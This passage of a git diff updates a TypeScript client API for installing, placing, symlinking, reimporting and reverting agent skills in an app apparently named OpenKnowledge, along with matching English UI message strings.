+ /** Persist + apply the per-skill symlink-installs preference. */
+ linkMode?: boolean;
}): Promise<
WriteResult<{
hosts: string[];
@@ -447,58 +784,190 @@ export async function installSkill(input: {
}
/**
- * POST `/api/skill/uninstall` — remove a skill's editor-host projections + drop
- * its marker entry, leaving the source intact (the skill demotes to Draft). The
- * inverse of `installSkill`.
+ * POST `/api/skill/install` with a one-shot custom placement: copy or symlink
+ * the skill bundle under an arbitrary project-relative dir. Never overwrites.
*/
-export async function uninstallSkill(input: {
+export async function placeSkill(input: {
scope: SkillScope;
name: string;
-}): Promise<WriteResult<{ uninstalled: boolean }>> {
+ dir: string;
+ mode: 'copy' | 'link';
+}): Promise<WriteResult<{ placedAt: string }>> {
try {
- const res = await fetch('/api/skill/uninstall', {
+ const res = await fetch('/api/skill/install', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify(input),
+ body: JSON.stringify({
+ scope: input.scope,
+ name: input.name,
+ place: { dir: input.dir, mode: input.mode },
+ }),
});
if (!res.ok) return { ok: false, error: await readErrorBody(res) };
- const payload = (await res.json().catch(() => null)) as { uninstalled?: boolean } | null;
+ const body = (await res.json().catch(() => null)) as { placedAt?: string } | null;
emitSkillsChanged();
- return { ok: true, uninstalled: payload?.uninstalled ?? false };
+ return { ok: true, placedAt: body?.placedAt ?? input.dir };
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
+/** POST `/api/skill/install` with a one-shot placement REMOVAL (inverse of
+ * `placeSkill`). Lossless-only — a hand-edited copy is refused server-side. */
+export async function unplaceSkill(input: {
+ scope: SkillScope;
+ name: string;
+ path: string;
+}): Promise<WriteResult<Record<never, never>>> {
+ const res = await sendJson('/api/skill/install', 'POST', {
+ scope: input.scope,
+ name: input.name,
+ unplace: { path: input.path },
+ });
+ if (!res.ok) return res;
+ emitSkillsChanged();
+ return { ok: true };
+}
+
+/** POST `/api/skill/install` with a one-shot SOURCE move: make one host's
+ * location the skill's real folder; every other installed location becomes a
+ * symlink to it (sticky). */
+export async function setSkillSource(input: {
+ scope: SkillScope;
+ name: string;
+ target: string;
+}): Promise<WriteResult<Record<never, never>>> {
+ const res = await sendJson('/api/skill/install', 'POST', {
+ scope: input.scope,
+ name: input.name,
+ setSource: input.target,
+ });
+ if (!res.ok) return res;
+ emitSkillsChanged();
+ return { ok: true };
+}
+
+/** POST `/api/skill/install` converting ONE location between an independent
+ * copy and a symlink to the source. Sibling locations and the skill-wide
+ * preference are untouched; a hand-edited copy is refused server-side. */
+export async function convertSkillLocation(input: {
+ scope: SkillScope;
+ name: string;
+ target: string;
+ mode: 'copy' | 'link';
+}): Promise<WriteResult<Record<never, never>>> {
+ const res = await sendJson('/api/skill/install', 'POST', {
+ scope: input.scope,
+ name: input.name,
+ convert: { target: input.target, mode: input.mode },
+ });
+ if (!res.ok) return res;
+ emitSkillsChanged();
+ return { ok: true };
+}
+
/**
- * POST `/api/skill/update` — refresh an installed starter-pack skill from OK's
- * currently-bundled source. The server checkpoints the current doc first
- * (reversible via version history), then overwrites it. Opt-in: only called when
- * the skills list reports `updateAvailable`. Returns the now-installed `version`
- * (and the prior one + the pre-update checkpoint ref, when available).
+ * POST `/api/skill/reimport` — refresh an IMPORTED skill from its recorded
+ * upstream (`.ok/skills-lock.json`). `updated` is false when the source content
+ * was unchanged (already up to date). Project scope only.
*/
-export async function updatePackSkill(input: {
+/**
+ * One folder-topology verb (link / unlink / add-root) — the same
+ * `PUT /api/skill-targets` the Settings Folders surface uses, callable from
+ * any surface without the settings hook. `unlink` + `exclude` is the
+ * "stop this agent reading that skill" remedy: the folder keeps every other
+ * skill it sees (as per-skill links) and stops following its target root.
+ */
+export async function putSkillFolderAction(action: {
+ scope: SkillScope;
+ root: string;
+ action: 'link' | 'unlink' | 'add-root';
+ target?: string;
+ exclude?: string[];
+}): Promise<{ ok: true } | { ok: false; error: string }> {
+ try {
+ const res = await fetch('/api/skill-targets', {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ folderAction: action }),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ return { ok: true };
+ } catch (e) {
+ return { ok: false, error: e instanceof Error ? e.message : String(e) };
+ }
+}
+
+export async function reimportSkill(input: {
+ name: string;
scope: SkillScope;
+ /** Preview only — fetch upstream and return the diff bodies WITHOUT writing. */
+ dryRun?: boolean;
+ /** Toggle-persist mode: only flips the lockfile's per-skill `autoUpdate`
+ * flag (no fetch, nothing rewritten). */
+ setAutoUpdate?: boolean;
+}): Promise<
+ WriteResult<{
+ updated: boolean;
+ source: string;
+ localBody?: string;
+ upstreamBody?: string;
+ gitTracked?: boolean;
+ warnings: string[];
+ }>
+> {
+ try {
+ const res = await fetch('/api/skill/reimport', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as {
+ updated?: boolean;
+ source?: string;
+ localBody?: string;
+ upstreamBody?: string;
+ gitTracked?: boolean;
+ warnings?: string[];
+ } | null;
+ // A dry run writes nothing — don't invalidate the skills list on a preview.
+ if (!input.dryRun) emitSkillsChanged();
+ return {
+ ok: true,
+ updated: payload?.updated ?? false,
+ source: payload?.source ?? '',
+ localBody: payload?.localBody,
+ upstreamBody: payload?.upstreamBody,
+ ...(payload?.gitTracked !== undefined ? { gitTracked: payload.gitTracked } : {}),
+ warnings: payload?.warnings ?? [],
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/**
+ * POST `/api/skill/revert` — discard local edits and restore an imported skill to
+ * the exact bytes recorded when it was installed/last updated. Project scope only.
+ */
+export async function revertSkill(input: {
name: string;
-}): Promise<WriteResult<{ version: string; previousVersion?: string; checkpointRef?: string }>> {
+}): Promise<WriteResult<{ warnings: string[] }>> {
try {
- const res = await fetch('/api/skill/update', {
+ const res = await fetch('/api/skill/revert', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(input),
});
if (!res.ok) return { ok: false, error: await readErrorBody(res) };
const payload = (await res.json().catch(() => null)) as {
- version?: string;
- previousVersion?: string;
- checkpointRef?: string;
+ warnings?: string[];
} | null;
emitSkillsChanged();
return {
ok: true,
- version: payload?.version ?? '',
- previousVersion: payload?.previousVersion,
- checkpointRef: payload?.checkpointRef,
+ warnings: payload?.warnings ?? [],
};
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
diff --git a/packages/app/src/locales/en/messages.json b/packages/app/src/locales/en/messages.json
index ec7484906..05ebde107 100644
--- a/packages/app/src/locales/en/messages.json
+++ b/packages/app/src/locales/en/messages.json
@@ -27,6 +27,7 @@
],
"-g6KIS": ["Unrecognized link"],
"-imiMK": ["Follow — updates flow in from your remote; your edits stay on this computer."],
+ "-kKdCC": ["Installed ", ["imported"], " skills from ", ["0"]],
"-kbIAr": ["Links & images"],
"-lCAuQ": ["Loading graph"],
"-o5XAG": [
@@ -35,9 +36,10 @@
"-q4abP": [
"Results capped — this workspace has more files than search can index. A missing file may be a cap artifact, not a typo."
],
- "-r_Kx7": ["Create skill"],
"-slrNR": ["Toggle a task list."],
"-uaQnI": ["No matching worktrees or branches."],
+ "-yPBXI": ["Choose file"],
+ "-ySLQJ": ["Git & PRs"],
"-zA2E7": ["Couldn't create the worktree. Try a different name."],
"-zy2Nq": ["Type"],
"0-31GV": ["Removing"],
@@ -57,7 +59,9 @@
"0E9DR6": ["Type to find a doc"],
"0Er6-M": ["Restarting"],
"0Gd0NU": ["Shared"],
- "0LBDjY": ["\"", ["0"], "\" uninstalled — back to a draft"],
+ "0J6nhG": [
+ "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill. A symlink is a pointer to the source instead, so nothing can drift, but a location stops working if the source is deleted."
+ ],
"0NA4b3": ["Keep my version"],
"0NkNB5": [["0"], "mo ago"],
"0QVrvp": ["Maximum agents already running"],
@@ -72,6 +76,20 @@
") in ",
["targetLabel"]
],
+ "0dslv8": [
+ ["0"],
+ " reads this skill via ",
+ ["poolRootRel"],
+ ". Click to stop ",
+ ["1"],
+ " getting \"",
+ ["2"],
+ "\" — ",
+ ["subRoot"],
+ " keeps its other skills but stops following ",
+ ["poolRootRel"],
+ "."
+ ],
"0eHrMb": ["Could not complete delete"],
"0g7rCZ": ["Duplicated to \"", ["0"], "\""],
"0inVGS": [
@@ -92,6 +110,7 @@
"0yL--g": ["Review conflicts"],
"0zAhu6": ["every doc"],
"10g8I_": ["Turn off Only markdown files"],
+ "11ukmX": ["Rename failed: ", ["0"]],
"12F9WL": ["(no id)"],
"151wvk": ["Show sidebar"],
"161NCV": ["Stopping"],
@@ -105,15 +124,17 @@
"1FLarN": ["Describe what you want to create to continue"],
"1GhYxC": ["of ", ["totalPages"]],
"1HBhDS": ["Checking out files"],
+ "1LtA5r": ["Symlinks the skill to ", ["path"]],
"1OKzC_": ["Your report couldn't be sent. Try again or email it instead."],
"1QfxQT": ["Dismiss"],
"1RluQD": ["Show replace"],
"1TNIig": ["Open"],
"1Ta7Fd": ["Open ", ["basename"]],
+ "1V17kO": ["Loading both versions"],
+ "1VpfKR": ["Create a skill for this project."],
"1XSMhZ": [
"Switching to <0>local-only</0> will refuse until they're untracked via<1> git rm --cached</1>."
],
- "1YJ4Yg": ["Update available", ["0"]],
"1ZpfyB": ["Open with AI ", ["displayName"], ", ", ["hint"]],
"1a6ICf": ["Following the agent's edits"],
"1bDVu5": ["Workspace Command Palette"],
@@ -122,6 +143,7 @@
"1hvhf0": ["The folder on disk and the id agents use to invoke this skill."],
"1njn7W": ["Light"],
"1nke1r": ["Open ", ["0"], " on GitHub (opens in a new tab)"],
+ "1oSHI0": ["Couldn't install ", ["skillName"], ": ", ["0"]],
"1t_NnN": ["Reject"],
"1u-mAI": ["Couldn't start the sync. Check your connection, then retry."],
"2-CeZn": [
@@ -150,6 +172,7 @@
"2GT3Hf": ["Global"],
"2H43L8": ["Secrets like API keys and tokens are redacted automatically."],
"2IYGkU": ["This doc has unpushed changes. Recipients will see the last pushed version."],
+ "2M0JF6": ["Auto-update"],
"2QM24L": ["All tags"],
"2RBzMG": ["Network error — check your connection and try again"],
"2Snes1": ["This sends the link's address off your machine"],
@@ -157,7 +180,6 @@
"2XQ8Ww": ["Open preview when agent edits"],
"2YOwme": ["Restarted — now running v", ["appRuntime"], "."],
"2YZwPB": ["Forward-links response did not match expected shape."],
- "2bVHbB": ["Available in every project on this computer."],
"2hYmUH": ["[email protected]"],
"2hpdRq": ["Hide panel (", ["panelShortcutLabel"], ")"],
"2j1kfc": ["Enter a valid URL (for example https://api.openai.com/v1)."],
@@ -196,7 +218,6 @@
"3HAPpl": ["No schemas match your search."],
"3HNlwb": ["Hello, world!"],
"3Ib6FN": ["Move down"],
- "3Ijjy1": ["Couldn't load this skill's files."],
"3J7d2N": ["Big section heading."],
"3JYy1p": ["Branch ", ["0"], " no longer exists. Cloned to default branch."],
"3LbBJn": ["Attach images"],
@@ -221,6 +242,7 @@
"3h5zMp": ["Something went wrong loading the settings panel."],
"3iyGWF": ["Open recent project"],
"3jod3l": ["Connect GitHub"],
+ "3l32hp": ["Part of the ", ["plugin"], " plugin"],
"3l_cXP": ["Take a look if you'd like. This exact file is what we receive."],
"3m2GBo": ["Searching docs"],
"3mFsc3": ["Restore with remote changes"],
@@ -228,21 +250,16 @@
"3oEK1e": ["Resuming the conversation"],
"3oh0nQ": ["Nested .okignore error in ", ["path"]],
"3pU8e-": ["Pin tab"],
+ "3v62tp": ["Popular on skills.sh"],
"3wiBAs": ["Where should it live?"],
"3y6XTb": ["Semantic search"],
"3zyg_A": ["Ignore patterns"],
"438Fca": ["Cloned successfully, but could not open the project."],
+ "43qzxu": ["DevOps"],
"44DSl0": [
"Already have a git repository? Add it with <0>git remote add origin <url></0> in this project's folder. This page updates automatically once a remote is detected."
],
"45MZFs": ["Commands"],
- "47EXvY": [
- "This replaces the current skill content with the bundled version ",
- ["0"],
- " (you have ",
- ["1"],
- "). Any local edits will be replaced — your current version is saved to history first, so you can restore it."
- ],
"484LKL": ["Remove link"],
"494br3": ["Shared with everyone on this project — committed to config.yml via git."],
"4A3Yzu": ["Code block"],
@@ -257,9 +274,6 @@
"4PYsOz": ["Hide Files (", ["sidebarShortcutLabel"], ")"],
"4Sxexw": ["Source undo or redo"],
"4TzU0n": ["Initialize"],
- "4XL6N4": [
- "Detected from the editors this project is set up for. Adjust to control where every skill installs."
- ],
"4_5_n5": [["failed"], " of ", ["0"], " comments could not be removed from the queue."],
"4buZWd": ["Inherited from ", ["path"]],
"4cEClj": ["Sessions"],
@@ -271,13 +285,16 @@
"4ieVh2": ["Pick “Custom” above to use this palette."],
"4jDd0j": ["Anyone can see"],
"4m-xuX": ["Auto-fix — nothing to fix"],
+ "4mDIcg": ["Pick the skills to install. Each one lands as an editable skill you own."],
"4mLBx9": ["Subscriptions aren't available right now."],
"4niEzY": ["Sandboxed HTML embed — write HTML, see the rendered preview live."],
"4nj6n8": ["/api/config returned HTTP ", ["code"]],
+ "4pDZ2N": ["Removed \"", ["0"], "\" from every other location — its source folder still loads"],
"4rjwLG": ["Create with ", ["0"], " CLI"],
"4sKwf6": ["File already exists"],
"4uNLmk": ["Pulling"],
"4v2Yyz": ["Select every visible file-tree row when focus is in the Files sidebar."],
+ "4wo5UV": ["Install selected"],
"4xtLTl": ["Hidden folder “", ["basename"], "”"],
"4zEZS5": [
"Auto-sync is on for this worktree, inherited from ",
@@ -296,6 +313,7 @@
"5ALjdr": ["Move through visual-editor find results from the find field."],
"5Ajb15": ["The formula <0>c = √(a² + b²)</0> renders inline."],
"5AzM72": ["This setting is per-machine and isn't shared with collaborators."],
+ "5BlXTD": ["Couldn't load the version preview. You can still choose how to resolve it below."],
"5ClEAu": ["Inline hashtag for cross-doc grouping."],
"5D3Ior": ["Hide folder"],
"5F5HYj": [["ahead"], " ahead, ", ["behind"], " behind"],
@@ -366,13 +384,18 @@
"62Pc08": ["Install for Claude Chat & Cowork (Desktop App)"],
"62bOuM": ["Latest edit"],
"636K3K": ["Delete adjacent chip"],
+ "67TEhP": [
+ "Your user-level skill folders — available in every project on this machine. Each skill's install menu controls where it lives."
+ ],
"67f-3g": ["Duplicate succeeded but the sidebar may be out of date — refresh to resync"],
"69KLIV": ["Escape"],
"6Aih4U": ["Offline"],
- "6EKG_c": ["What agents match on to decide when to use the skill."],
"6HCOwA": ["Failed to open."],
"6KCH4m": ["Hidden files"],
"6LbUG7": ["The repository is private and your GitHub account doesn't have access to it."],
+ "6Mbe-P": [
+ "Describe what it should do, or add one yourself. OpenKnowledge keeps your skills in one place, versions them, and installs them into agents like Claude, Codex, and Cursor."
+ ],
"6MnZEC": ["Terminal failed to load"],
"6O626z": ["No headings match \"", ["trimmedAnchorQuery"], "\""],
"6Pxqwv": [
@@ -392,8 +415,9 @@
"6cyguR": ["Connect GitHub to continue."],
"6eniID": ["Map the architecture"],
"6fGjTz": ["Show fewer"],
- "6g2jsp": ["Update skill"],
+ "6f_UX4": ["Install on all agents"],
"6gRgw8": ["Retry"],
+ "6h4-4a": ["Switch between Files and Skills"],
"6h4zVU": ["What would you like to create?"],
"6hYjww": ["Create a token on ", ["host"]],
"6hfDJr": ["Server error: ", ["status"]],
@@ -438,19 +462,33 @@
"7YRrJ9": [
"Available in the OpenKnowledge desktop app. From a terminal, use<0> ok config-sharing status</0> / <1>share</1> / <2>unshare</2>."
],
+ "7ZkJdV": ["No agents selected — the skills are saved but not installed anywhere."],
"7_bFEL": ["Drag ", ["patternText"], " to reorder"],
"7apDiJ": [
"A folder named <0>",
["sanitized"],
"</0> already has files here. Pick a different name."
],
+ "7bIiJ7": [
+ "This moves <0>",
+ ["name"],
+ "</0> from ",
+ ["0"],
+ " to ",
+ ["1"],
+ ", relocating its files on disk and re-installing it in your editors at the ",
+ ["2"],
+ " level."
+ ],
"7cAW1G": ["No API key is set for this endpoint. Add one above."],
"7d1a0d": ["Public"],
+ "7dZnmw": ["Relevance"],
"7hctf2": ["Describe the project you want to create"],
"7iTyyh": [["queueCount", "plural", { "one": ["#", " comment"], "other": ["#", " comments"] }]],
"7jIIFX": ["You're all set up!"],
"7kb4LU": ["Approved"],
"7l15X4": ["failed"],
+ "7m3Ade": ["installs:"],
"7qRHf0": ["Install for Claude Chat & Cowork"],
"7uBlRT": ["Copy the focused file-tree item so Paste can duplicate it."],
"7vQdBK": ["Loading the conversation"],
@@ -465,6 +503,7 @@
") in the project root"
],
"89y7ar": [["sizeText"], " · secrets redacted"],
+ "8AjnFz": ["\"", ["0"], "\" was already imported (identical content)."],
"8F1i42": ["Page not found"],
"8FqTCr": [
[
@@ -474,6 +513,11 @@
]
],
"8Gzz2G": ["worktree of ", ["worktreeOf"]],
+ "8HvJlU": [
+ "A DIFFERENT skill named like this one lives at ",
+ ["0"],
+ " — that folder is not this skill. Rename or delete one of the two to resolve."
+ ],
"8IP5jY": ["Each selected tool gets an OpenKnowledge MCP entry."],
"8Jm2EP": ["Toggle heading levels 1 through 6."],
"8L0EPw": ["or paste a token"],
@@ -483,6 +527,7 @@
"8PmoQF": ["Open the insert menu in an empty or active text position."],
"8RtNI0": ["Failed to load documents"],
"8TvlHF": ["Crash dump"],
+ "8Uv5e6": ["Agents"],
"8Vq20-": ["Switch worktree"],
"8Wav8y": [
"If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."
@@ -494,6 +539,7 @@
"8cpOa8": ["Couldn't disconnect — please try again."],
"8cpeU3": ["Shared repositories"],
"8eW0WQ": ["No matching repositories."],
+ "8fDf7j": ["hooks"],
"8fRyLo": ["Invalid patch payload"],
"8fc_3j": ["Protected branch — cannot push"],
"8jeVmd": ["The terminal isn't available here — the comments stay queued."],
@@ -501,9 +547,11 @@
"8lwQlE": [["0"], " added, ", ["1"], " removed"],
"8m8diM": ["No location selected. Use Browse to choose a folder."],
"8nWu1k": ["Empty diagram"],
+ "8qgfac": ["MCP servers"],
"8ruqQi": ["Broken internal links"],
"8sMErm": ["Enable Follow?"],
"8t9CRE": ["Starting ", ["agentName"], "…"],
+ "8t9T3-": ["No skills found."],
"8tjQCz": ["Explore"],
"8uAWix": [
"This template lives in a parent folder — deleting it affects every folder beneath it that doesn't define its own version."
@@ -514,6 +562,7 @@
"8ycqHY": ["Add the queued comments to this message"],
"92rbk2": ["Mirror loading <0>", ["mirrorRef"], "</0>"],
"96G6Re": ["New folder"],
+ "96pApd": ["Read-only file in the ", ["name"], " skill"],
"96w9hU": ["Something went wrong opening this file (HTTP ", ["status"], ")."],
"98FP1E": [
"This schema carries root-level advanced rules the editor does not show (",
@@ -522,6 +571,8 @@
],
"99eR72": ["Visual editor table selection"],
"9Bd18D": ["Failed to load hub pages"],
+ "9HKBNN": ["commands"],
+ "9J8xNg": ["Imported ", ["importedLabel"]],
"9KooKn": ["Run a project audit from the Problems panel."],
"9NJWgv": ["Backlinks"],
"9OIqw4": ["You don't have write access to this repo."],
@@ -534,6 +585,12 @@
"9Vh9Jf": ["Reopen this window to sign in with your browser"],
"9Vnjc9": ["Enter"],
"9XIEYq": ["Attach the file in an email to <0/>"],
+ "9_2oe6": [
+ "Turn ",
+ ["0"],
+ " back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+ ],
+ "9_euHO": ["View ", ["name"]],
"9aVlF2": ["Change provider"],
"9bCiQ8": ["No pages are missing incoming graph links."],
"9bG48P": ["Sending"],
@@ -553,15 +610,21 @@
"9fhQRL": ["Beta channel"],
"9fvog2": ["Preview unavailable: ", ["errorDetail"]],
"9i21pa": ["Commits happen automatically"],
+ "9ieZhu": ["Installed at ", ["path"], " — click to remove"],
"9jnjV0": ["Embed an audio file with native player controls."],
+ "9lso1Y": ["Creates the <0>", ["folderPart"], "/</0> folder"],
+ "9m4D_h": ["GitHub, a git URL, or a local path."],
"9mEZeD": [["name"], " CLI"],
"9nIrRp": ["Nested fields"],
"9npOH9": ["Open file"],
"9o1bIV": [["behind"], " behind"],
"9oE4C3": ["Browse your repos:"],
+ "9p_QBN": ["Auto-update is off — use Update to pull new versions"],
"9sBe85": ["Follow us on"],
"9tJX8r": ["By meaning"],
"9uI_rE": ["Undo"],
+ "9uRLEH": ["Couldn't open \"", ["name"], "\" — it isn't in the project's skills yet."],
+ "9wQrUU": ["Refactoring"],
"9xCnv8": ["Hide Terminal"],
"9zb2WA": ["Connecting"],
"A1taO8": ["Search"],
@@ -574,6 +637,7 @@
"No collab server for this worktree — run <0>ok start</0> here, or reopen the project."
],
"AB4qw9": ["New terminal"],
+ "ACKMCN": ["Failed to load skill settings: ", ["0"]],
"AE7BY3": ["The terminal session ended."],
"AIVHDc": ["Choose what a new session starts"],
"AIn2Yv": [["displayName"], " CLI, ", ["hint"]],
@@ -586,10 +650,12 @@
"Commands run with the full access of your macOS user account on this machine. Turn this off to disable the shell."
],
"ASqqsQ": ["Maximum ", ["MAX_ATTACHMENTS"], " attachments"],
+ "AT0e50": ["Keep both"],
"ATGYL1": ["Email address"],
"AVW-K9": ["Failed to load orphan pages"],
"AWOSPo": ["Zoom in"],
"AYfna1": ["Remove from queue"],
+ "AYoYhU": ["Update failed: ", ["0"]],
"AaaESH": [
"Auto-sync is off for this worktree, inherited from ",
["project"],
@@ -606,6 +672,7 @@
"This project lives only on this computer. Connect it to GitHub to back it up and share it with other people."
],
"Aif3E7": ["Enable semantic search"],
+ "AkA6DO": ["Part of the ", ["0"], " plugin — read-only; open it to edit a copy"],
"Am78jY": ["Drag ", ["keyName"], " to reorder"],
"ApeA0n": ["Undid ", ["dropCount"], " edits on ", ["docName"]],
"Aq-O0x": ["status"],
@@ -627,6 +694,7 @@
]
],
"B6Lac2": ["+", ["overflowCount"], " more"],
+ "B6NpZ7": ["Renamed to \"", ["next"], "\""],
"BAH4qX": ["Selected graph item"],
"BBqGS9": ["Desktop"],
"BD0XSC": ["Failed to load project templates"],
@@ -640,7 +708,9 @@
]
],
"BGHHtQ": ["Single page"],
+ "BGtzlf": [["uploadFolderName"], " — 1 file"],
"BH56dn": ["Custom display text"],
+ "BKI4hX": ["Find in file"],
"BQKHuL": ["Restart terminal"],
"BQu9Pg": ["Symlink"],
"BUyQnq": ["Couldn't restart the server. Try `ok start` in this folder."],
@@ -652,10 +722,12 @@
"Bh9671": [
"This project is local-only, so .ok/skills is hidden from git and these skills can't be committed or shared. Share just the skills folder — the rest of your OK config stays on this computer."
],
+ "BhLPRk": ["Reverted \"", ["name"], "\" to the installed version"],
"BjitBo": ["Download ", ["0"]],
"BkGtRl": [
"Undo, redo, or step through selection changes in the Edit source pane or a code-shaped property field."
],
+ "BlLxpG": ["Search skills"],
"Bn9-El": ["default"],
"Bv5a9_": ["Selection statistics"],
"Bx4EXG": ["Actions for ", ["label"]],
@@ -668,9 +740,11 @@
],
"C-twqs": ["Recovered content"],
"C-xgad": ["or use a starter pack"],
+ "C0Ciaj": ["Imported as \"", ["0"], "\" — the name \"", ["1"], "\" was taken."],
+ "C0cll5": ["Installed at ", ["0"], " — click to remove"],
"C0hoX6": ["Always included"],
+ "C3Zc44": ["Explore skills"],
"C62P6b": ["Editor selection"],
- "C7XjNB": ["Global Skill"],
"C9TBvF": ["No Outgoing"],
"CB7c0Z": ["Save queued message"],
"CBsdhe": ["The agent isn't stopping. Force stop closes this thread and quits the agent."],
@@ -700,12 +774,12 @@
],
"C_cPoW": ["Your GitHub session expired — sign in again to verify push access."],
"ChAtFg": ["You don't have permission to push to this repo"],
- "CifUuG": ["Update available"],
"Ck9XRt": ["Couldn't save the key — please try again."],
"CmeH9S": ["Add property to ", ["keyName"]],
"CnOGgs": ["Sync mode"],
"CoHvYd": ["Moved ", ["0"], " to position ", ["1"], " of ", ["2"]],
"CooKEf": ["Dock sessions at the bottom"],
+ "Cu6GXQ": ["The source folder itself does not move."],
"CvsD6Y": ["via ", ["viaTags"]],
"CwOXMT": ["Value for ", ["keyName"]],
"CxVk-w": ["Comment on ", ["address"]],
@@ -744,6 +818,7 @@
],
"DUWgfT": ["Re-authenticate with GitHub Enterprise Server"],
"DVh_Tb": ["Failed to clean up after trash"],
+ "DWJtEo": ["What happens next"],
"DXd9LM": ["New worktree"],
"D_WKe_": ["Click an agent's avatar in the presence bar to view their session."],
"DbCfXV": ["Search (", ["searchShortcutLabel"], ")"],
@@ -751,15 +826,6 @@
"DcLaew": ["Custom theme"],
"DeDYLr": ["Unrecognized wiki link"],
"DgcGrb": [["fileCount", "plural", { "one": ["file"], "other": ["files"] }]],
- "DhK_hZ": [
- "Moved \"",
- ["name"],
- "\" to ",
- ["0"],
- " (",
- ["skipped"],
- " binary file(s) not copied)"
- ],
"DhLHEb": ["Failed to load activity"],
"DiFKSL": ["Counting markdown files"],
"Dnn2XG": ["Automatic"],
@@ -770,6 +836,8 @@
"Dub54T": [
"Preview browsers can't auto-copy. Use Cmd/Ctrl+C on the URL above, or open OK in the desktop app."
],
+ "Dut9Ht": ["Describe the skill you want to create"],
+ "Dvr1Sg": ["Copying"],
"Dvwa0U": ["Create a worktree from this branch"],
"Dw1T_W": ["Rename ", ["label"]],
"Dz7fsq": ["Zoom In"],
@@ -790,6 +858,7 @@
"E9bKSA": ["Creating"],
"E9gh86": ["You can attach up to ", ["MAX_ATTACHMENTS"], " images."],
"EARn6h": ["Couldn't share skills — ", ["detail"], "."],
+ "EBS8_X": ["Browse skills.sh"],
"EBVbtP": ["Could not duplicate item"],
"EDl9kS": ["Subscribe"],
"EDm3wJ": ["Loading diff renderer"],
@@ -804,6 +873,8 @@
"ENpRJV": ["External link previews"],
"EO4Dt1": ["Enable ", ["file"]],
"EOjU5V": ["Inline Math Properties"],
+ "EPGePE": ["Uploaded as \"", ["0"], "\" — the name \"", ["1"], "\" was taken."],
+ "EPKVES": ["Update \"", ["skillName"], "\" over your edits?"],
"EPwuTC": [["usedLabel"], " / ", ["sizeLabel"], " tokens used"],
"ETyvvg": ["No language match."],
"EUiJEM": ["Occurrences of ", ["0"]],
@@ -817,7 +888,6 @@
"\" to the Trash. Do you want to permanently delete instead?"
],
"E_tNGD": ["Connected as @", ["login"]],
- "Ea1prf": ["Choose which editors every skill in this project installs into."],
"EarrCe": ["Search emoji"],
"Eax_et": ["Accent"],
"EbMUlU": ["Agent mode"],
@@ -826,6 +896,7 @@
"EcM3k7": ["Failed to clean up pending ", ["kind"]],
"EdQY6l": ["None"],
"EeUucb": ["Rule editing is available for the project's root markdownlint config"],
+ "Ef6ukL": ["via parent"],
"Ef7StM": ["Unknown"],
"EhDLBx": ["You modified <0>", ["filePath"], "</0> locally, but it was deleted upstream."],
"Ehkru0": ["Open, navigate, accept, or dismiss CodeMirror completion suggestions."],
@@ -848,10 +919,14 @@
"Embeddings are computed only when a search runs and are cached locally under <0>.ok/local</0>."
],
"EoaQyO": ["Append-only log of what changed."],
+ "EpZQFw": ["subagents"],
"EqrC_R": ["Undo failed: ", ["message"]],
"EqtBXb": ["Visual editor find open"],
"ErRi6L": ["Template \"", ["label"], "\" deleted"],
"Es-eZU": ["Remove from recent projects"],
+ "Es3G-g": [
+ "Lives in this project (wherever the skill's folder is) and is shared with collaborators through git."
+ ],
"Ev2r9A": ["No results"],
"EvPX7f": ["Opens a folder picker to choose where to clone the repository."],
"Evq3lu": ["Orphan mode"],
@@ -870,6 +945,7 @@
"Run a real terminal docked inside OpenKnowledge, starting in this project's folder."
],
"FCKppt": ["Endpoint"],
+ "FCMaBz": ["Which skill"],
"FCxvG5": ["First item"],
"FDBwmS": ["Open folder…"],
"FEK4oC": [
@@ -883,7 +959,6 @@
"FNTx6u": ["Search \"", ["semanticSubmitQuery"], "\" by meaning"],
"FOGD7m": ["Create something great."],
"FRYB1Q": ["/api/config returned a malformed body"],
- "FRqZ9v": ["Couldn't update skill: ", ["0"]],
"FTBN5g": [
"How validation findings surface across the project. These choices are committed to config.yml and shared with every collaborator via git."
],
@@ -897,13 +972,19 @@
"FWSjnp": ["Edit source pane and code property fields"],
"FXk_zY": ["Adds a guided workflow for authoring new Agent Skills."],
"FZtBeR": ["Enable ", ["0"]],
+ "FeXcUS": [
+ ["display"],
+ " is a symlink to the source while the skill's other locations are copies. Click to make it an independent copy."
+ ],
"FgQ7XZ": ["Couldn't load your bug reports."],
"FgRAvd": ["Logs & system info"],
+ "Fhp4Gn": ["View plugin"],
"FjkaiT": ["Zoom out"],
"FqGWeR": ["Couldn't reach the agent registry."],
"FqTpiN": ["Bird wiki"],
"Fqr8BP": ["Multi-page PDF viewer with toolbar controls (thumbnails, page nav, zoom)."],
"Fqx38P": ["What got in the way?"],
+ "Fr8JGg": ["Zip file"],
"Fsx78O": ["Add the <0>ok</0> command to your terminal"],
"FvMSms": ["Renaming changes the file on disk and the id agents use to pick this template."],
"FvpFSZ": ["Reveal in Finder, ", ["hint"]],
@@ -921,11 +1002,13 @@
"G1XxbZ": ["Checkbox"],
"G4-bgo": ["Ask AI (from selection)"],
"G4m8rL": ["Comment on selection"],
+ "G6Lrs_": ["Stop ", ["0"], " reading this skill"],
"G7-rf8": ["Pattern syntax error: ", ["message"]],
"G7bn_N": ["Start an agent"],
"G7cMuO": ["HTML preview"],
"G8t9NN": ["Add a property"],
"GA-UkN": [["keyName"], " type: ", ["typeLabel"], ". Click to change."],
+ "GBQjiV": ["Add skill"],
"GDvlUT": ["Role"],
"GF51cw": [
"Give the AI tools you use access to read and update your projects. Pick what to set up below, and change it anytime."
@@ -952,13 +1035,13 @@
"Details about the error you just hit are included. Secrets like API keys and tokens are redacted automatically."
